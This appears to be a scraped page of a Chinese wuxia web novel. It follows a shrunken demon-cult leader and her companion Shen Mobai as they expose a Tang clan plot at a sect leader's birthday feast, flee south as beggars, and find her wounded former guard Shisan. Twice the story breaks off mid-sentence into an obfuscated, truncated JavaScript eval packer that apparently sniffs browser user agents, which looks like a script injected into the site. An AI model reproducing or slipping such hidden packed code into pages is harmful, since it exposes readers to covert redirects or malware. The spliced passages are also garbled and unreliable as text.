我仰天大笑三声,而后鄙夷道:得了吧,就你丫,刨除了吃喝嫖赌,能有毛正事。 事实证明,这次我倒还真的误会沈墨白了。第二日傍晚,沈墨白带着我潜入了蜀中青城派掌门姜文韬的寿宴。 我们到时,寿宴已经开始了好一会儿。这次五十大寿办得穷极奢侈,小小的青城山连续十日万盏长明灯不灭,方圆百里各大门派皆来出席,武林中有头有脸的人都来拜寿。青城派请了大江南北百位名厨,在青城山摆了上百桌流水宴,放眼望去,整个青城派一派歌舞升平、觥筹交错,热闹非凡。 我和沈墨白蹲在一棵大槐树上,初夏的野蚊子发春似地叮得人抓狂。 “我们来这里干嘛啊?饿疯了于是来偷吃?”我挠了挠屁股上被蚊子叮的包,不满得皱眉头,“不过话说回来,青城派还真是有钱。从前总见青城派弟子人人都衣着布衣草鞋,我还以这门派挣扎在温饱线上呢。” 沈墨白躺在一棵大树杈上,头枕着胳膊,躺得姿态颇为撩人,“呵,不过是做做样子给世人看罢了。” 我不禁摇头。这名门正派也着实不好当,明明富得流油还得装清贫,穿不得绫罗绸缎吃不得山珍海味。还是我们魔教好,败家败得光明正大,败光了再冲出去抢他们这些个装穷的,真是快哉快哉。 沈墨白用下巴点了点,“你看见青城派掌门了么?” “哪里?”我赶紧伸长脖子前去围观。 “台阶最上头,铺着红色桌布的那桌的坐南朝北位的正位上。” 我“啪”得一声扇在自己脸上,拍死了一只蚊子,然后面无表情道,“哦,肥头大耳,长得就一副耐宰相,”我内心默默补充:也不枉我每年都宰他几回。 “我说,”我回头狐疑地瞥着沈墨白,“咱到底来这儿干嘛?” 沈墨白眼角略微一瞥,这一瞥之间竟带出几分风流来,“来查杀死暗卫小哥的真凶。” 闻言,我微微愣了一下。 “其实,当日我在暗卫小哥手心里发现了一枚针,针被刺入掌内所以抛尸的时候并没被处理掉。” 沈墨白边说着,一扬手指,指尖夹着一根螺旋形的带着倒勾的粗针。 我一眼认出来,此乃暴雨梨花针。唐门的刺杀绝技,一招毙命,绝无虚发。 这样一来,暗卫十叁的死因便明了了。他死于唐门的追捕,后又被一剑穿心,伪装为顾染织下手。 我眯起眼睛看向青城派掌门的那一桌。席上都是些江湖大派的门主,其中也有为人低调,很少在江湖露面的唐门的大当家——唐斩。 “查出来了又如何?你难不成是想暗杀唐门的大当家,来替你的仇人暗卫小哥报仇吧?” “你乖乖闭上嘴巴睁大眼睛看着就好了。”沈墨白说完,突然勾起嘴角露出一抹奸笑,一双浓墨色的眸子眯成一条线,屁股后面大狼尾巴又开始甩来甩去。 我顿觉不妙——每次他露出这样的神色就意味着——又有人要倒霉了。 一瞬间,我突然感觉到重心一低…… 沈墨白这个天杀的,竟然背着我,“噌”地一下跃离了高枝,离弦的剑一般向着主宾席窜去。 于是乎,我和沈墨白在天下武林正道齐刷刷的仰望下,不偏不倚,“咣当”一声,空降在众派掌门的餐桌上。 一时间,各位武林白道大侠们,手握酒杯、鸡腿、蹄髈、鱼翅,千姿百态地怔在了原地。 我当下倒抽一口冷气!想当年我风头正贱的时候,也从未如此高调过!丫的沈墨白,竟盖过我的风头!我抽完气之后便挂在沈墨白背上挺尸,小声默念:我是人皮披风,我是披风,不关我的事…… “你是什么人!” 终于,某位武林大侠第一个从震惊中回神,怒喝一声,顺手把盘子里的鸡腿丢向了沈墨白。 “在下一介无名小辈,名字嘛,不足以为各位大侠所知会。”沈墨白嘻嘻一笑,侧身避过鸡腿。 我这厢身体快过大脑,眼疾手快一把揣住,塞进了嘴里。 “呵呵,各位稍安勿躁,”青城派掌门腆着个怀胎十月似地大肚子站起来——这位壮士,恭喜你有喜了。他声音一出,还颇有几分领导风范,“这位小侠,今日是老夫寿辰,若是前来庆贺,自可宾主尽兴,若是……” 青城派掌门还没来得及说威胁之辞,就被沈墨白给打断了,他略微一拱手笑道,“对不住了姜门主,其实我今天来呢,跟您老人家真没什么关系。在下就是想找鸣凤公子说句话,呵呵……” 凤栖梧此时同样是坐在主宾席上,他一身紫色黑金包边锦缎长衫,头发用紫荆冠莲花冠束起,衬得面容颜似玉,可惜这玉颜此时挂着一脸阴郁之色。 “这孩子,我不客气的,绑走了。”沈墨白突然一把把我从背上揪下来,拎着我的后领,对着凤栖梧示威性的晃了晃。 我这厢正抱着鸡腿啃得一脸油,被状况太突如其来,于是我干脆继续淡定啃我的鸡腿。 周围安静极了,华灯之下,所有人的目光都聚焦在沈墨白一人身上,而他依旧是漫不经心,气定神闲。说实话,沈墨白这厚脸皮不怯场的脾性,还真是让人佩服。 沈人渣说完,猛然运气。 我顿时感觉到一股强大的内力迸发而出,强大到连我都有点吃惊。 紧接着就是一声惊天巨响! 沈墨白这厮竟然一脚踏翻了餐桌,那一脚内力十足,踏得整个餐桌四分五裂,刹那间,木头渣滓和杯盘的碎片,外加各种美味佳肴的遗体噼里啪啦飞射向四方。 围坐在主宾席周围的各大门派的门主,根本没人能料到沈墨白竟然能玩这么一损招,顿时纷纷中招,菜汤肉末溅了一脸。 凤栖梧一挥袖子用内力震开碎屑,等他扇开灰尘,抬头寻找沈墨白,却发现这家伙已经像只蚂蚱似得,一蹦一蹦踩着房檐逃远了。 旁边,天机山庄的老庄主颤颤巍巍从椅子底下爬起来,问凤栖梧:“那、那男人绑走的孩子是你什么人啊?” 一片狼藉中,凤栖梧额角的青筋在暴走。 周围一干被殃及的门主们此时都半怒半疑地看向凤栖梧。 如果说不认识,肯定没人相信。 如果说是远亲,肯定会被人调查,最后不知道弄出什么流言蜚语来。 如果说是娈童,凤栖梧的形象就华丽丽的陨落了。 骑虎难下的凤栖梧,咬了咬牙,悲愤道,“是……是我女儿。” 听到凤栖梧悲愤交加,又无奈又隐忍说出这句话,在场的爷们儿都叹息了,而一干女侠的同情心爆发了。毕竟嘛,凤栖梧二十出头的年纪,人家风华正茂风流倜傥风姿卓然,拜倒在其玉山之下的女人数以千百计,弄出来几个孩子着实属于情理之中。爷们儿们都在暗自羡慕,姑娘们都在暗自嫉妒。 于是女侠们带头呐喊:“怎么能容得如此奸诈匪徒在此为非作歹!” “这是对我们青城派的公然蔑视!” “凤公子你不要担心,我们一定帮你追回千金!” “维护武林和平与安全!” “兄弟们!追啊!” “……” 一阵慷慨激昂群情激奋外加响彻云霄的吼声之后,几百条人影“唰唰”冲着沈墨白的背影席卷而去,那景象可谓,蔚为壮观! 江湖总动员追杀之下,沈墨白这一路跑跑停停,不时还打个呵欠捶捶小腿,等上追兵一会儿,那叫一个悠闲。 “追来了吗?”沈墨白做了几组拉伸运动,悠然问道。 我看着背后的火把长龙,没啥感情回答,“来了。” 于是,沈贼人扛着我这“肉票”继续逃亡。 都怪那沈墨白太低估武林人士的脚程,突然之间,一支玄色的羽箭“嗖”得一下射断了沈墨白脚下的树枝。霎时,沈墨白重心猛沉,吓得我一声尖叫。还好他反应够快,只是趔趄了一下,一只手抓住眼前的另一条树枝,向上一荡,借力跳上了面前的一座高墙。 随即,背后隐隐传来了呼喊声,“不许放箭!凤公子的闺女还在那贼人手里!” 我咧了咧嘴。武林正道重视人权的高尚的精神着实让人钦佩啊。只可惜,你们那个所谓的“人质”,本体是江湖头号的恐怖分子。 我也懒得管沈墨白葫芦里卖的什么药,就任他一路脚不沾地的逃出了城。城郊三里坡上,有一座废弃的小楼。整座楼被栅栏和板条胡乱得钉了一通,三更半夜,透着夜色以及半夜的雾气,一眼看去,漆黑阴森,寒烟缭绕,很有几分骇人。 沈墨白如同一缕鬼影,无声无息飘进那鬼屋里,落在了屋子的房梁上。 我吸了吸鼻子,嗅出一股很浓的酒味,顿时有点不明所以,“这里是酒窖?你搞什么鬼?” “嘘。”沈墨白笑而不答,神秘兮兮的竖起一只手指挡在唇上。 不一会儿,精神抖擞的武林正道同志们举着火把扛着扫帚,将整个小楼外头被围了个严严实实水泄不通。 “小贼!你已经被包围了!速速出来束手就擒!顺从从宽!抗拒从严……” 劝降的呐喊在荡漾。 我抬头去看沈墨白,却发现这家伙薄唇微抿,眼睛却在笑。黑暗里,那双眼睛映衬着夜色,闪发出淡淡的幽蓝色,漂亮得几近妖异。 “你可知为何那暗卫为何会被唐门杀死么?” “唔……”我半装傻道,“因为他知道了不该知道的?” 沈墨白点了点我的脑门,“正是。因为,他偶然发现唐门和镜花宫的长老‘屠龙手’段岑勾结,伺机叛乱。” 黑暗里,我暗暗咬了咬牙。 段岑么?我记住了,我一定会…… 不过,我这决心还没暗下完,沈墨白突然一伸手按住了我的嘴巴。 我有点恼怒得瞪他,却见他指了指房梁底下。 房梁下面的厅室里头,七横八竖乱七八糟堆满了烂木头、碎石头和稻草,一片狼藉。我正在疑惑,忽然,那堆烂木头出乎意料地微微动了动,紧接着,“吱呀”一声,一片木板被顶了起来,从底下探出来一颗脑袋。 我有点惊讶得挑眉,呦呵,这还别有一番洞天呢。 “少主!少主!不好了!”那颗脑袋低声向下喊,“不知为何,外头被一大批人马包围了!” “滚开!”接着,另外一颗脑袋探了出来,左右紧张的张望了一下,抽气道,“段大先生,莫非是我们的行踪被暴露了?!这可如何是好!” “莫慌张,唐少主。”下面隐隐传来一个老家伙的声音,“他们未必是冲着我们来的,我们先行隐匿,稍安勿躁。” 脑袋慌张得又东张西望了一会儿,终于缩了回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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油布防火,火星溅到油布上又弹开,一时半会儿的确不会有危险。这沈狐狸果真是做了万全准备,也难怪从昨夜一直失踪到今早。 没过多久,只听“哗——”得一声巨响,地板整个碎裂下陷,裂开了一个大窟窿,然后从窟窿里钻出来灰头土脸一干人等,那十多人,各个都是身上染着小火苗,头发眉毛胡子被烧得一塌糊涂,此刻再也顾不得什么“潜伏”,一股脑发疯一般冲出了蔓延成一片火海的房屋。 而站在房子外头等着“绑架犯”和“人质”的诸位武林豪杰们,正在惊奇这房子就烧着了,谁料,更加令他们震惊的事情发生了。男侠女侠们怎么也没想到,绑架犯没见着,怎么变戏法似地窜出了一帮乌合之众。于是武林豪杰们大眼瞪小眼,默默注视着奔出来的人发疯了似地又喊又叫,在地上滚来滚去地灭火。 直到,突然有一个比较识货的家伙一下子跳出来,指着一个眉毛头发烧得一团焦黑的家伙尖叫道,“你不是镜花宫的屠龙手段岑嘛!你害死我岳丈我老婆!你化成灰我也认得你!” 众人闻言都是一惊。 而那位屠龙手也不是吃素的,反应快得吓人,一掌冲着那位识货的豪杰凶残地掏了过去。顿时,血溅三尺,那位豪杰便因为一句话而英勇就义魂归天际了。段岑八成是被烧疯了,仰天长啸道,“哈哈哈!老夫今日出门不利,时运不济!今日就算是栽在你们这群鼠辈手里,也要拉上几十口子给老夫垫背!小的们!给我杀!” 方才忙着灭火的魔教众人,一瞬间凶相毕露,顾不得被烧没了的毛发,抽出明晃晃的大刀就像白道们砍去。白道的豪杰们没啥防备,众人要么是吃得太多想出来凑个热闹散散步,要么就是酒喝得太多,借着酒劲儿撒欢,谁能料到竟真的能碰上强敌,顿时被杀得措手不及,一时间丢胳膊断腿,外加节节后退。数百人的包围圈竟然被魔教的区区十人给杀出了一条血路。 由此可见,魔道与正道最大的差别就是,正道先放厥词后比划招式,魔道反之——于是大部分时候,魔道在一开始总会占据上风。 这厢一开始拼杀,我和沈墨白就裹着油布趁乱从着火的房子溜里出来,躲在一棵大树上头看热闹。 一边观战,我不禁一边自卖自夸,“不愧是镜花宫的妖人,你看这杀伤力,哪里是什么白道什么大侠能媲美的。” 沈墨白轻笑了一声,戳戳我的脑袋,让我看另外一边。 另外一边,果然还有更好玩的戏。 “爹!爹!救救我……我、我……”一个浑身焦黑的家伙,连滚带爬得扑向了唐门的门主,唐斩。 唐斩顿时浑身一震,他不动声色瞥向四周,各大门派,少林、武当、峨眉、青城……无数双眼睛正狐疑地盯着他。 唐斩当机立断,毫不迟疑地大步走向趴在地上的儿子。 “孽障!竟然敢私通魔教!你要将我唐门的颜面丢至何地!” “不不!爹!爹你怎么能……爹!——” 嘶哑的叫喊声突然戛然而止。 唐斩竟是一掌拍向了自己儿子的天灵盖,“我今日,就亲手替唐门清理门户!” 唐斩语落,鲜血和脑浆从他五指飞溅而出,溅了他一头一脸。 我看到这一幕,沉默了一瞬间。 “人道是虎毒不食子。真是禽兽不如啊……” 我摇摇头,嘲讽一笑。 14. 禽兽!快跑! 自从那夜搞得锦官城大乱,我跟沈墨白就一路逃窜,近日里连遭追杀。 一边是害死了唐门的大公子,于是被唐家下了格杀令;另一边全怪白道大侠们太废柴了,上百号人围攻竟也能让屠龙手段岑给跑了。段岑彻底与镜花宫决裂,带着自己的一波势力潜逃,百忙之中仍不忘派了杀手追杀我,不,确切的说是对沈墨白穷追不舍。 遭追杀倒不见得是件坏事。比如说现在:我和沈墨白坐在破落的小驿站里大眼瞪小眼发愁,正在我们俩吃了十几个包子却口袋空空无银子抵债的时候,说时迟,那时快,窗口外面“嗷”得一声扑进一个黑衣杀手来! 顿时,我和沈墨白脸上同时闪过了饿狼看到肥羊的表情。 然后! 然后就没有然后了。 那个闪过不到一秒的杀手,被沈墨白一筷子给插死了。 小小的驿站里静悄悄的,屋里只有四个活人外加一具新鲜出炉冒着热气的尸体。 老板和伙计吓得缩在楼梯底下的小空间里,如秋风落叶般瑟瑟发抖。房间中央,我挂着凶神恶煞的表情在凶案现场继续作案。我熟门熟路戴上手套开始在尸体的胸前摸啊摸……只可惜,我摸了白天也没能摸出钱袋来!本座非常气恼,“这倒霉催小子,出门暗杀怎么也不带钱?难道暗杀就不吃饭不住店吗?难道杀手都很穷吗?” 我正抱怨,突然一眼瞥到插在地上的一枚暗器,顿时,本座眼中精光一闪,一个兰花指拔出那个纯银暗器来。 我攥着暗器在手里犹豫了好半天,最后,“唰”地一下把暗器丢在掌柜和小二脚底下,吓得这两位跪在地上连连求饶。 “大侠饶命大侠饶命啊!!我、我家上有八十老母,下有妻儿……” “咳咳,”我咳嗽了两声,打断了哆哆嗦嗦的掌柜,“掌柜啊,你看,这暗器是银的,纯的哦,不信你可以咬咬看。那这就当是抵了我们这顿饭钱了,别说我们赖账哦。” 掌柜的愣在原地,旁边的小二倒是反应过来了,连连磕头,“是是是,我们什么也没看见,什么也没看见……” 我皱了皱眉头,“小哥,我说你抓错重点了吧……” 我话还没说完,沈墨白从背后把我抱起来,然后毫不客气的打了一下我的屁股,“真不乖!不是让你乖乖呆在椅子上别乱动吗?脚丫子在地上踩得这么脏,蹭得我一身都是黑脚印子!你给我洗啊!” 我不服,吼回去,“谁叫你不给我买鞋!” “哪有那个闲钱给你买鞋!饭都吃不起了!” “嘿?!你穷得还有理了啊?!废物点心!” 掌柜和小二目瞪口呆送着这两位丧神骂骂咧咧渐行渐远,正当他们已经一脚迈出房门的时候,却见那小丫头猛地一下回过头来,吓得掌柜和小二尖叫一声抱作一团。 “对了,那暗器虽然是银的,但是是淬过毒的,二位小心点。”我说完,仰望天空四十五度,有点喟叹地自言自语,“我真善良……” ??? 我和沈墨白一路顺着长江南下,一路上打杀手斗刺客,风餐露宿和贫穷饥饿作斗争。活了这么大把年纪,本座上半辈子吃香的喝辣的,香车美男、金银财宝应有尽有,现在终于体会了一把人间疾苦。在野外吃了十天半个月的烤野兔、熏山猪、闷松鼠之后,我和沈墨白终于找到了一个有人烟的庄园。不过敲开门之后,那庄园的看门小哥见我和沈墨白蓬头垢面,一副农村人口进城模样,便毫不留情一脚把我们踹出大门。 门“嘭”地一声狠狠在背后关上。沈墨白默默的拍拍屁股站起来,幽怨地一边摇头一边叹气,“开门的怎么不是个姑娘……” 我翻白眼,“嘁,,姑娘照样踢得你满地找菊花……” 不过还好,今日鸿运当头,我和沈墨白绕过大门没走几百米,就看到了一片无人看管的瓜田。这几日天气炎热,晴朗无雨,知了在树上不知疲倦的叫唤个不停。一个个熟透了的西瓜滚在田里,在阳光下面闪发着淡淡的光泽。顿时,本座饿狼一般眼睛放出莹莹绿光。 “老白!”我猛的一下直起身子,重重拍了一下沈墨白的肩膀。 沈墨白心领神会,轻盈一跃,一个大跨步迈过田塍,直扑向大西瓜。 “沈墨白,你说是挑个水多的呢?还是挑个沙瓤的?”我蹲在地上左敲敲,右碰碰,拿不定主意。 “咦?”沈墨白诧异道,“你还会挑西瓜呢?” “咦?!”我更加诧异,“你活了这么大岁数连这个都不会?太废了吧?!” 沈墨白尴尬,老脸微微红了一下,哼哼两声没回答。 我把一个沙瓤瓜从藤上给拧下来扔给沈墨白,突然远远地听到了几声不和谐的狗叫。 我顿时不由自主笑了,因为想起许多年前曾经在母亲书房里读过的一本叫做《还珠格格》的书,里头便描写过男女主角偷水果,结果被果园里头都养着凶恶的看门人和尖牙利齿的大狼狗追杀,好不狼狈。 我一边想,一边一用力又拧下来一颗西瓜。 “呐,沈墨白……”一抬头,我话就停住了。 眼前一片青山绿水大西瓜,但是,刚刚还站在我一步之外的沈墨白,现在已经没影了! “偷瓜贼!抓贼啊!打死了算我的!”背后,一声中气十足的怒喝声遥遥传来,震得周围林子里的鸟都噗啦噗啦成群惊飞。 我一回头,还真的看到几条吐着舌头的大畜生,哈喇子横飞向我飚来。 我倒抽一口冷气,吓得一下子蹦起来。 沈墨白你这人渣!居然扔下本座先跑路了! 琼瑶她老人家那不靠谱故事原来也有靠谱之处——恶仆恶犬果然家家都有养! 于是,青天白日光天化日之下,我光着脚丫,怀里揣着个西瓜,迈开短腿儿跌跌撞撞奋力奔跑,边跑边冲着远处的一个背影喊,“沈墨白人渣莫走!等等老夫!!” 沈墨白听到我喊他,这才回过头来,遥遥得对我深情呼喊,“快要咬到屁股了——!” 我怀里揣着个西瓜跑的连滚带爬,眼看渐渐被那几只流口水的小畜生给追上,好不容易才在千钧一发之际追上沈墨白,一下子蹿到他背上,然后大叫一声,“雄起吧!我□□的巨物!” 沈墨白心领神会,“嗖”得一下蹿出十米。 我趴在他背上,看到背后的大狼狗们撒丫子狂追还是被沈墨白渐渐拉开了距离,一炷香之后,已经被远远甩在了他屁股后面。 这个时候,老夫望着渐行渐远的大狼狗们,不禁想起来曾经有个段子是这样说的: 当你和一条狗赛跑,如果你跑的比狗快,那么你比禽兽更禽兽;如果你跟狗并驾齐驱,那么你就是个禽兽;如果你跑在了狗后头,那么你禽兽不如。 现在,沈墨白扛着我,撒欢儿得跑在一大群狼狗前面,把那群小畜生们远远甩在了屁股后头,我忍不住由衷的感叹……“沈墨白同学,禽兽对你已经望尘莫及了。” 从前总见话本小说写人间疾苦,如今我总算领略何为“疾苦”了。 在荒郊野外,我和沈墨白通常都处于食欲不满的状态,只能靠偷偷菜来填饱肚子。就偷那么两颗大白菜,还时不时会被主人放狗追着跑那么几里地。想当年我骄奢淫逸,视金山银山为粪土,如今却我时常仰天长啸——这个世道真是不让穷人活了!那些有钱人家为了防偷菜还专门养个大狼狗,狗粮那么贵,何苦?让人家偷几棵菜会死啊! 相对的,进城的日子反而会好过一点。因为本座有一门新炼就的独门绝技——“要饭”!前些日子在锦官城要饭还要乔装打扮一下,如今本座衣衫凌乱衣不蔽体,直接坐在墙根底下就有银子自觉主动滚到我脚下。 诚然,我承认自己年纪大了所以记性有点不好,顺便好像还有人脸辨识障碍症。但是,终于有一天,我发现了一个惊人的秘密——原来,每次给我扔钱的,尤其是扔大额银子的家伙,来来回回就是那么几个人! 我是如何发现这个惊天秘密的呢? 事情是这样的:一天,太阳西下,雀鸟归巢。我蹲在一偏僻小城的槐树下要饭,突然,一颗银光闪闪的大银子摔在我碗里。这城里头没几户富庶人家,过路的商旅也极少,碰上那么大一锭银子,我忍不住怀疑这是颗假锭! 于是,我狐疑抬起头打量起那个丢钱的家伙。 那丢钱的家伙一身黑衣,腰间挂着一把乌金古剑,头发在脑后束成一个干净利落的马尾。容貌清俊,年纪虽小却是个美人胚子。而他那装束虽然低调,但是一看衣料就知道是顶级的好东西。 我看着小美男,小美男也看着我。 突然,这美少年开口了,眉头还不爽得皱着,一脸嫌弃,“那个……” 我下意识接口,“啊?” “上次我不是告诉你了吗?” 我一愣,上次?什么上次?这小公子……长得不错,难道脑袋是个不灵光的? 美少年察觉到我有点惋惜的眼神,恼怒道,“我不是说了吗?!女孩子家不要抠脚!你怎么还抠!” 我顿时瞪大眼睛看着他,头上“铛铛铛”弹出三个大问号。 小美男似乎自知矢口,说完,就赶紧一阵风似地飘走了。 我愣了几秒,突然想起来一件往事……当年,老娘在添青阁对面墙根底下要饭,是有一个扔了个大元宝,还让我不要抠脚的怪人……我又仔细一回忆,突然发现从锦官城到夷陵到荆州,这一路南下,这小美男至少在我面前飘过了不下十次了! 难道是我竟是个红颜祸水?以至于要个饭都有人千里迢迢跟着捧场? 是才有鬼……难道是顾染织派人跟踪我? 虽然心里不安,但是,本着有奶便是娘的原则,我决定不再追究此奶娘身份。 ··· 就这样,我和沈墨白一路沿着长江跋山涉水向南挺近,从夏至未至走到漫山红叶都疯了,最后,终于徒步走到了金陵城。 进城的时候我们又稍微遇到了点麻烦。 金陵是富商大贾聚集之地,也是最有权势的武林人士的蜂拥之所,据说,一个匾额掉下来,就能砸死一排达官贵人。所以金陵的治安颇严,进城也不是随便摸鱼便能混进去,需要各类通关文书。我和沈墨白这一大一小俩乞丐,还没接近城门半径十米,就被拿着棍子牵着狼狗的城管给赶到了城边儿上,和一大群与我们在外观上颇为类似的进城打工人员混在一起。 才刚呆了几秒钟,我就不乐意得揪沈墨白,“喂喂,沈墨白,我说我们翻墙进去吧。” 沈墨白抱着手臂目测了一下城墙,那并不是轻轻松松就能一步跨过去的高度,“急什么,等到晚上……。” 我捂着鼻子,口齿不清道,“不要不要不要!味道受不了啊!” 炎炎秋老虎之际,混在一群八百年不洗澡不换衣服的流动人口大军之中!那个脚臭狐臭腋臭各种臭味混杂在一起,熏得本座□□!苍蝇在这群人头上飞一圈都会立刻掉到地上晕死过去! 我话音一落,旁边一位蓬头垢面,周身围绕着不明飞行物的大叔不满意了,“喂!我们臭!难道你就不臭吗?!” 我倒抽一口冷气,“你竟敢说我臭?!”说着我便卷了袖子,作势要冲上去。 岂有此理了!本座可是盖世无双天下第一的魔教教主!竟然被一只乞丐挑衅了我的人格! 我卷高了袖子,然后冲到大叔面前,猛地扬起胳膊,怒吼道,“喂!你自己闻!根本我就不臭嘛!” 沈墨白嘴角抽搐了一下。他一把拎起我的后领把我提溜走了,“好了好了,乖一点,别惹是生非的。你难道想在这里跟乞丐打群架吗?” 我悬空扑腾,一边扑腾一边嚎叫:“呜呜呜,你放开我你放开我,我要一巴掌扇死那个不知道天高地厚的家伙……” ··· 金陵的东市是骄奢淫逸的达官贵人享乐之所,西面是鱼龙混杂江湖人士的聚集之处,而坐南朝北地势低洼的南市却是贫民窟。南城人员混杂,不容易引人注意,于是我和沈墨白绕了点路,从南边的城墙翻了进去。一落进城里,不偏不倚,刚好落在一圈乞丐中间。 众乞丐看着从天而降的我和沈墨白,我们毫不示弱看回去,大眼瞪小眼三秒之后,乞丐们非常淡定低头,该数钱的数钱,该抓虱子的抓虱子。 “又是丐帮的吧?出了巷口往右拐是你们的地盘儿。”一个正在啃馒头的老乞丐非常热情好客地为我们这俩貌似同行的家伙指路。 啧啧,大城市的乞丐就是见多识广! “多谢老人家。”沈墨白闻言,微微一拜,还真就抱着我朝着老乞丐指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈墨白此话一出,连我都吃了一惊。 那个铁什么东西,如果我没记错的话,貌似是□□的顶级杀手。丧在他手上的人命没过百也有九十九。若沈墨白不说,我真想不到以这么难看而业余的姿势干架的二人竟都是一等一的高手。好歹也该摆个姿势,报个什么“二龙戏珠摘菊手”之类的招式名吧?! 青年并没有回答沈墨白的话。他甚至连看也没有看沈墨白一眼。 他只是抬手,慢慢抹掉脸上的血迹,然后扶着地,踉跄了一步之后慢慢站起来,姿势有些许的吃力。 沈墨白扬了扬眉毛,难得保持沉默没有再说什么废话。 青年站稳之后便扶着墙壁,吃力得一步一步走向巷子深处。自始至终,他一直沉默得低着头,只让人觉得沉默而寂静。随着他脚步的远去,嫣红的血血迹一滴滴留在地上,蜿蜒了一路,看得让人觉得心惊。他走得很慢,却仿佛宁死也执意要到某处去,顽强固执得让人有点揪心。 我看着他的背影,心脏猛地抽痛了一下。那种感觉随着青年渐渐走远,非但没有消失,反而越发的强烈。 “十四?”下意识的,我喃喃自语出声。 我声音很小,然而已经走出很远的青年却似心有灵犀一般回过了头。 隔着这么远的距离,我看清了青年散乱头发下面那张苍白的脸。 果然。 是他。 我的暗卫,十四。 我站在原地并没有动。 我只是突然想起,我已经不再是那个人尽皆知人人畏惧的白玉蛟,我只是一个没武功没地位连腿脚都不怎么灵便的小丫头而已。现在,这世上应该是再无人认得我了。 沈墨白顿时看出了什么苗头,低头戳了戳我的额头,“你们是旧识?”那眼神分明就是充满了玩味和打量。 “怎么可能。”我翻了个白眼拨开他的手指,转身就走。 不料,却听到背后一声重物倒地的闷响。十四终于体力不支倒在地上。 沈墨白看了我一眼,便带着一丝别有用心的坏笑向后折回去。 “喂,沈墨白!沈墨白你站住!”我气急败坏,站在原地冲着沈墨白嚷嚷。 然而沈墨白完全不搭理我,走过去的步伐反倒是加快了。 相处这么久我也算是懂了,沈墨白专爱找麻烦,越是麻烦复杂别人避之不及的事情,他反而要插上一脚。十四已经引起了沈狐狸的兴趣,让他住手是不可能了。 我垂死挣扎吼了一声, “你别多管闲事!你没看到他杀了□□的杀手么?跟这种家伙扯上关系会引火烧身!” “纵火者,怎能惧火?”沈墨白扬眉一笑,已经走到十四身边蹲了下去。 虽然我不情不愿,最后还是跟着沈墨白走了过去。我刚走到旁边,就发现沈墨白竟然在剥十四的衣服。 我顿时额角青筋跳动,“喂!老玻璃!你想做甚!” 沈墨白动作麻利,三两下就把十四衣服解开,衣襟下露出一片胸膛的皮肤。 纵然我是看惯了伤口的人,看到十四身上的伤痕,我还是被震了一下。 新伤叠着旧伤,未结痂的伤口深深浅浅遍布全身,旧的伤痕颜色深浅不一,淤青更是纵横交错。全身,几乎就找不到几片完整的皮肤。 沈墨白把衣服给十四阖上,撇了撇嘴,不知道是佩服还是讽刺,说了句,“此人竟然能硬撑到这种程度还不死,真是耐打得令人敬佩。他是何人?” 我自知瞒不过沈墨白,干脆口气交代,“是与我在镜花宫里相熟的人。” “若我们扔着他不管,他会死。” 我哽了一下,小声嘀咕,“那又怎么样……” 沈墨白此刻突然抛出来两颗大额的银子,边抛边犯愁似地碎碎念,“管呢?还是不管呢?” 我一愣,这才反应过来,刚才这人渣扯十四的衣服是为了摸银子啊! 我当下飞起一脚踹向沈墨白,“你可真够丧尽天良的,不怕有一天遭报应。” “报应?呵,我倒还真不信。”沈墨白挡住我的攻击无所谓笑道。 我冷笑,心想,等你也变小了,你就相信了! “再说了,我这可是大发慈悲救他一命。这可是给我积德。”说完,沈墨白拦腰把十四扛起来。 总的来说,沈墨白同学自从出场以来就缺德事做了一箩筐,好事没干过几回。 这次,难得干了次好事吧,可惜不久之后,他就华丽丽地后悔了。 15. 从前有一只忠犬…… 十四是我的暗卫。 十四原本不叫十四。 他原本姓穆,叫做穆韶卿。 正人君子似地名字,一点也不适合他。 十年之前,我师傅冷将息突然有一日销声匿迹踪迹全无。那时候,镜花宫中一时群龙无首,陷入内乱。 怪就怪我师傅生性散漫,当教主的时候总是把手里的事务都推给长老们做,久而久之就造成长老们势力做大。实力一强,那些老家伙们就都开始觊觎起教主的位置。这也难怪教主之位如此有诱惑力,先不说统领魔教上千号口子杀伐决断的权力,单单是魔功“刹那芳华”就有足够的吸引力促使他们背叛。 “刹那芳华”是只有历代教主能够修炼的绝世魔功,修炼者必然天下无敌,能群体秒杀又能延年益寿,凡是个练武的人,没有一人不对着这秘籍垂涎三尺。 师傅走后不过几日,势力盘踞在蜀中的穆世武,企图篡位。当时我也真够落魄,身边能够调动的人马,武功说得过去的不过几十人。其他长老都摆着一副静观其变的样子,作壁上观。我知道,若是我不能凭着自己的力量扳倒穆世武,这教主的位子肯定是坐不上去了,即便是坐了,也坐不稳当。 那一夜,穆世武带了百号人把镜花宫的正殿围了个水泄不通。 穆世武到底还是忌惮我的武功,而且我怀里又揣着“刹那芳华”的秘籍,他也不能轻举妄动,否则逼急了我,鱼死网破,毁了秘籍,他当了教主也练不成“刹那芳华”。 于是他便施以围城之计,企图夜以继日把我围死在里头,等我饿得不行了,亲自哭着去投降。 那时,我关着大门坐在大殿的中央,一边喝着小酒,一边啃着羊排。外头是霍霍震响的兵刃敲击之声与污秽的叫骂声。 我记得那一日,夜里天阴欲雨,外头狂风大作,而我紧闭门窗,在大殿里头悠然自得。 说到底,穆世武还是只把那时的我当成了个十八岁的疯孩子,以为人海车轮战就能随便把我了结了。他太低估我,低估得有点过分了。 老子曾经曰过:哀者必相惜而不趣利避害,故必胜。 整个镜花宫大殿里,除了我之外,就只有十名死士。 至于那另外的几十号人嘛,都趁着穆世武倾巢出动,奉我之命,前去血洗他的老窝去了。围魏救赵这招是阴损了点,不过孙子兵法云,共敌不如分敌,敌阳不如敌阴。 道理虽浅显,却着实在理。 那一夜,穆氏一族家眷数十口人,被杀得鸡犬不留。 穆氏大宅内的妇孺老弱被屠戮一空,一把火烧又将那大宅烧得映红了半座城池,远在剑阁的穆世武这才得到消息。于是,包围我的人也不再管不了什么战略什么计策,纷纷都红了眼睛,拔了刀向殿内冲。 